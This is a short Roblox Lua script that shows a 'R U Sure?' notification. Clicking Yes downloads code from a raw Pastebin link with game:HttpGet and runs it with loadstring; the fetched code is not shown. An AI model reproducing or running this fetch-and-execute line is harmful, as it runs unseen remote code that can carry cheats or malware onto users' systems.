local function callback(Text)
 if Text == "Yes" then
loadstring(game:HttpGet("https://pastebin.com/raw/JkjCxjfn"))()
elseif Text == ("No") then

 end
end

local NotificationBindable = Instance.new("BindableFunction")
NotificationBindable.OnInvoke = callback
--
game.StarterGui:SetCore("SendNotification",  {
 Title = "R U Sure?";
 Text = "Description";
 Icon = "rbxassetid://14469756391";
 Duration = 100;
 Button1 = "Yes";
 Button2 = "No";
 Callback = NotificationBindable;
})